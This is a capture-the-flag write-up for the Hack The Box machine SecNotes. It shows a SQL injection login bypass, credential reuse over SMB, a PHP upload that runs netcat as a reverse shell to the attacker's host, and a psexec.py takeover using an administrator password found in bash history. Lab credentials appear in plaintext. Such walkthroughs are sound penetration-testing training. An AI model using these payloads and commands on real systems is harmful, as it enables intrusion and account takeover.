> For the complete documentation index, see [llms.txt](https://vinetsuicide.gitbook.io/writeups/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://vinetsuicide.gitbook.io/writeups/windows/medium-boxes/secnotes.md). # SecNotes

SecNotes

```bash ping -c 1 10.10.10.97 PING 10.10.10.97 (10.10.10.97) 56(84) bytes of data. 64 bytes from 10.10.10.97: icmp_seq=1 ttl=127 time=124 ms --- 10.10.10.97 ping statistics --- 1 packets transmitted, 1 received, 0% packet loss, time 0ms rtt min/avg/max/mdev = 123.819/123.819/123.819/0.000 ms ``` OK, host is alive, and it is Windows. Lets start a nmap. ```bash sudo nmap -sC -sV 10.10.10.97 -Pn -p- -T5 -oN secnotes ``` ```bash PORT STATE SERVICE VERSION 80/tcp open http Microsoft IIS httpd 10.0 |_http-server-header: Microsoft-IIS/10.0 | http-title: Secure Notes - Login |_Requested resource was login.php | http-methods: |_ Potentially risky methods: TRACE 445/tcp open microsoft-ds Windows 10 Enterprise 17134 microsoft-ds (workgroup: HTB) 8808/tcp open http Microsoft IIS httpd 10.0 |_http-server-header: Microsoft-IIS/10.0 |_http-title: IIS Windows | http-methods: |_ Potentially risky methods: TRACE Service Info: Host: SECNOTES; OS: Windows; CPE: cpe:/o:microsoft:windows Host script results: | smb2-time: | date: 2024-02-17T19:21:35 |_ start_date: N/A |_clock-skew: mean: 2h40m01s, deviation: 4h37m11s, median: 0s | smb2-security-mode: | 3:1:1: |_ Message signing enabled but not required | smb-security-mode: | account_used: guest | authentication_level: user | challenge_response: supported |_ message_signing: disabled (dangerous, but default) | smb-os-discovery: | OS: Windows 10 Enterprise 17134 (Windows 10 Enterprise 6.3) | OS CPE: cpe:/o:microsoft:windows_10::- | Computer name: SECNOTES | NetBIOS computer name: SECNOTES\x00 | Workgroup: HTB\x00 |_ System time: 2024-02-17T11:21:39-08:00 Service detection performed. Please report any incorrect results at https://nmap.org/submit/ . Nmap done: 1 IP address (1 host up) scanned in 256.49 seconds ``` Just 3 ports are open... Lets start with SMB. ### SMB ```bash nxc smb 10.10.10.97 -u '' -p '' --shares SMB 10.10.10.97 445 SECNOTES [*] Windows 10 Enterprise 17134 (name:SECNOTES) (domain:SECNOTES) (signing:False) (SMBv1:True) SMB 10.10.10.97 445 SECNOTES [+] SECNOTES\: SMB 10.10.10.97 445 SECNOTES [-] Error enumerating shares: STATUS_ACCESS_DENIED ``` Looks like it allows a anonymous access but cannot list a shares. ### HTTP - 80 We can register a user and login into it, so I did it.
I tried a couple of things, and just only one have worked. SQL injection into registration field. {% hint style="info" %} Payload: a' OR 1=1-- - {% endhint %} I pasted it into username and password field, and if I will try to login, we will see that we Admin xD
And I can see other every note... There are username and password for SMB. ```bash nxc smb 10.10.10.97 -u 'tyler' -p '92g!mA8BGjOirkL%OG*&' --shares SMB 10.10.10.97 445 SECNOTES [*] Windows 10 Enterprise 17134 (name:SECNOTES) (domain:SECNOTES) (signing:False) (SMBv1:True) SMB 10.10.10.97 445 SECNOTES [+] SECNOTES\tyler:92g!mA8BGjOirkL%OG*& SMB 10.10.10.97 445 SECNOTES [*] Enumerated shares SMB 10.10.10.97 445 SECNOTES Share Permissions Remark SMB 10.10.10.97 445 SECNOTES ----- ----------- ------ SMB 10.10.10.97 445 SECNOTES ADMIN$ Remote Admin SMB 10.10.10.97 445 SECNOTES C$ Default share SMB 10.10.10.97 445 SECNOTES IPC$ Remote IPC SMB 10.10.10.97 445 SECNOTES new-site READ,WRITE ``` It is working. ```bash smbclient -U tyler '\\10.10.10.97\new-site' Password for [WORKGROUP\tyler]: Try "help" to get a list of possible commands. smb: \> ls . D 0 Sat Feb 17 23:19:03 2024 .. D 0 Sat Feb 17 23:19:03 2024 iisstart.htm A 696 Thu Jun 21 18:26:03 2018 iisstart.png A 98757 Thu Jun 21 18:26:03 2018 7736063 blocks of size 4096. 3391760 blocks available ``` But there is nothing interesting. ### HTTP - 8808
Standard IIS template. Before exploiting a SQL injection I tried to fuzz it, but nothing was found. ```bash gobuster dir -u http://10.10.10.97:8808/ -w /opt/SecLists/Discovery/Web-Content/raft-medium-directories.txt -x asp,aspx -o gobuster.log =============================================================== Gobuster v3.6 by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart) =============================================================== [+] Url: http://10.10.10.97:8808/ [+] Method: GET [+] Threads: 10 [+] Wordlist: /opt/SecLists/Discovery/Web-Content/raft-medium-directories.txt [+] Negative Status codes: 404 [+] User Agent: gobuster/3.6 [+] Extensions: asp,aspx [+] Timeout: 10s =============================================================== Starting gobuster in directory enumeration mode =============================================================== Progress: 41049 / 90003 (45.61%)^C [!] Keyboard interrupt detected, terminating. Progress: 41080 / 90003 (45.64%) =============================================================== Finished =============================================================== ``` But now, because Im Sherlock Holmes we can understand that this "new-site" smb share, actually this website. So that means we can upload any file to it and execute, to get a web-shell or reverse-shell. Lets do it! ### tyler ```bash rlwrap nc -lnvp 4444 listening on [any] 4444 ... connect to [10.10.16.7] from (UNKNOWN) [10.10.10.97] 53147 Microsoft Windows [Version 10.0.17134.228] (c) 2018 Microsoft Corporation. All rights reserved. C:\inetpub\new-site>whoami whoami iis apppool\newsite ``` FIrstly didnt understand that if we execute a php reverse-shell, we will get a "apppool" user, basically that is like www-data on linux, but if I will upload php code that downloads a netcat and execute it, we will get a tyler user shell... So I wasted a lot of time there because of it. ```bash smbclient -U tyler '\\10.10.10.97\new-site' Password for [WORKGROUP\tyler]: Try "help" to get a list of possible commands. smb: \> put int.php putting file catch.php as \catch.php (1.0 kb/s) (average 1.0 kb/s) smb: \> exit ``` ```bash curl http://10.10.10.97:8808/int.php?upload=nc64.exe ``` ```bash url http://10.10.10.97:8808/int.php?exe=nc64.exe -e cmd.exe 10.10.16.7 4224 ``` ```bash rlwrap nc -lnvp 4224 listening on [any] 4224 ... connect to [10.10.16.7] from (UNKNOWN) [10.10.10.97] 55479 Microsoft Windows [Version 10.0.17134.228] (c) 2018 Microsoft Corporation. All rights reserved. C:\inetpub\new-site>whoami whoami secnotes\tyler ``` And finally, we are tyler... ```bash C:\Users\tyler\Desktop>dir dir Volume in drive C has no label. Volume Serial Number is 1E7B-9B76 Directory of C:\Users\tyler\Desktop 08/19/2018 02:51 PM . 08/19/2018 02:51 PM .. 06/22/2018 02:09 AM 1,293 bash.lnk 08/02/2021 02:32 AM 1,210 Command Prompt.lnk 04/11/2018 03:34 PM 407 File Explorer.lnk 06/21/2018 04:50 PM 1,417 Microsoft Edge.lnk 06/21/2018 08:17 AM 1,110 Notepad++.lnk 02/17/2024 11:16 AM 34 user.txt 08/19/2018 09:59 AM 2,494 Windows PowerShell.lnk 7 File(s) 7,965 bytes 2 Dir(s) 13,870,116,864 bytes free C:\Users\tyler\Desktop>type user.txt type user.txt 87aef123e2b8b7146945e47ce02f27de ``` got a user.flag ### Privilege Escalation ``` Directory: C:\ Mode LastWriteTime Length Name ---- ------------- ------ ---- d----- 6/21/2018 3:07 PM Distros d----- 6/21/2018 6:47 PM inetpub d----- 6/22/2018 2:09 PM Microsoft d----- 4/11/2018 4:38 PM PerfLogs d----- 6/21/2018 8:15 AM php7 d-r--- 1/26/2021 2:39 AM Program Files d-r--- 1/26/2021 2:38 AM Program Files (x86) d----- 2/18/2024 5:34 AM temp d-r--- 6/21/2018 3:00 PM Users d----- 1/26/2021 2:38 AM Windows -a---- 6/21/2018 3:07 PM 201749452 Ubuntu.zip ``` Now this is root directory, and looks like on this machine is subsystem, like Ubuntu. That is not regular for HTB, so need to check it. ```bash PS C:\> dir rootfs /a /s /p ``` {% hint style="info" %} By performing this command, we will try to find main kernel directories, like root,home,opt and anothers, so maybe we will find some sensetive information. {% endhint %} ```bash Volume in drive C has no label. Volume Serial Number is 1E7B-9B76 Directory of C:\Users\tyler\AppData\Local\Packages\CanonicalGroupLimited.Ubuntu18.04onWindows_79rhkp1fndgsc\LocalState 06/21/2018 05:03 PM rootfs 0 File(s) 0 bytes Total Files Listed: 0 File(s) 0 bytes 1 Dir(s) 13,870,116,864 bytes free ``` ```bash C:\Users\tyler\AppData\Local\Packages\CanonicalGroupLimited.Ubuntu18.04onWindows_79rhkp1fndgsc\LocalState\rootfs>dir dir Volume in drive C has no label. Volume Serial Number is 1E7B-9B76 Directory of C:\Users\tyler\AppData\Local\Packages\CanonicalGroupLimited.Ubuntu18.04onWindows_79rhkp1fndgsc\LocalState\rootfs 06/21/2018 05:03 PM . 06/21/2018 05:03 PM .. 06/21/2018 05:03 PM bin 06/21/2018 05:00 PM boot 06/21/2018 05:00 PM dev 06/22/2018 02:00 AM etc 06/21/2018 05:00 PM home 06/22/2018 01:25 PM 87,944 init 06/21/2018 05:00 PM lib 06/21/2018 05:00 PM lib64 06/21/2018 05:00 PM media 06/21/2018 05:03 PM mnt 06/21/2018 05:00 PM opt 06/21/2018 05:00 PM proc 06/22/2018 01:44 PM root 06/21/2018 05:00 PM run 06/22/2018 01:57 AM sbin 06/21/2018 05:00 PM snap 06/21/2018 05:00 PM srv 06/21/2018 05:00 PM sys 06/22/2018 01:25 PM tmp 06/21/2018 05:02 PM usr 06/21/2018 05:03 PM var 1 File(s) 87,944 bytes 22 Dir(s) 13,870,116,864 bytes free ``` Firstly lets check a home directory. ```bash C:\Users\tyler\AppData\Local\Packages\CanonicalGroupLimited.Ubuntu18.04onWindows_79rhkp1fndgsc\LocalState\rootfs\home>dir dir Volume in drive C has no label. Volume Serial Number is 1E7B-9B76 Directory of C:\Users\tyler\AppData\Local\Packages\CanonicalGroupLimited.Ubuntu18.04onWindows_79rhkp1fndgsc\LocalState\rootfs\home 06/21/2018 05:00 PM . 06/21/2018 05:00 PM .. 0 File(s) 0 bytes 2 Dir(s) 13,870,116,864 bytes free ``` Nothing there. Second interesting place is /root directory. ```bash C:\Users\tyler\AppData\Local\Packages\CanonicalGroupLimited.Ubuntu18.04onWindows_79rhkp1fndgsc\LocalState\rootfs\root>dir dir Volume in drive C has no label. Volume Serial Number is 1E7B-9B76 Directory of C:\Users\tyler\AppData\Local\Packages\CanonicalGroupLimited.Ubuntu18.04onWindows_79rhkp1fndgsc\LocalState\rootfs\root 06/22/2018 01:44 PM . 06/22/2018 01:44 PM .. 06/22/2018 02:09 AM 3,112 .bashrc 06/22/2018 01:41 PM 398 .bash_history 06/21/2018 05:00 PM 148 .profile 06/22/2018 01:56 AM filesystem 3 File(s) 3,658 bytes 3 Dir(s) 13,870,116,864 bytes free ``` And there are couple of files. .bash\_history contains something sensetive. ```bash C:\Users\tyler\AppData\Local\Packages\CanonicalGroupLimited.Ubuntu18.04onWindows_79rhkp1fndgsc\LocalState\rootfs\root>type .bash_history type .bash_history cd /mnt/c/ ls cd Users/ cd / cd ~ ls pwd mkdir filesystem mount //127.0.0.1/c$ filesystem/ sudo apt install cifs-utils mount //127.0.0.1/c$ filesystem/ mount //127.0.0.1/c$ filesystem/ -o user=administrator cat /proc/filesystems sudo modprobe cifs smbclient apt install smbclient smbclient smbclient -U 'administrator%u6!4ZwgwOM#^OBf#Nwnh' \\\\127.0.0.1\\c$ > .bash_history less .bash_history exit ``` There is a possible administrator password. Im going to try spawn a shell with psexec.py. ```bash psexec.py administrator:'u6!4ZwgwOM#^OBf#Nwnh'@10.10.10.97 Impacket v0.11.0 - Copyright 2023 Fortra [*] Requesting shares on 10.10.10.97..... [*] Found writable share ADMIN$ [*] Uploading file GDryXHls.exe [*] Opening SVCManager on 10.10.10.97..... [*] Creating service JBgV on 10.10.10.97..... [*] Starting service JBgV..... [!] Press help for extra shell commands Microsoft Windows [Version 10.0.17134.228] (c) 2018 Microsoft Corporation. All rights reserved. C:\WINDOWS\system32> cd ..\..\Users\Administrator\Desktop C:\Users\Administrator\Desktop> dir Volume in drive C has no label. Volume Serial Number is 1E7B-9B76 Directory of C:\Users\Administrator\Desktop 01/26/2021 02:39 AM . 01/26/2021 02:39 AM .. 06/22/2018 03:45 PM 1,417 Microsoft Edge.lnk 02/17/2024 11:16 AM 34 root.txt 2 File(s) 1,451 bytes 2 Dir(s) 13,869,527,040 bytes free C:\Users\Administrator\Desktop> type root.txt 267652bc5b1d3411446c426b9b97575c ``` got a root.flag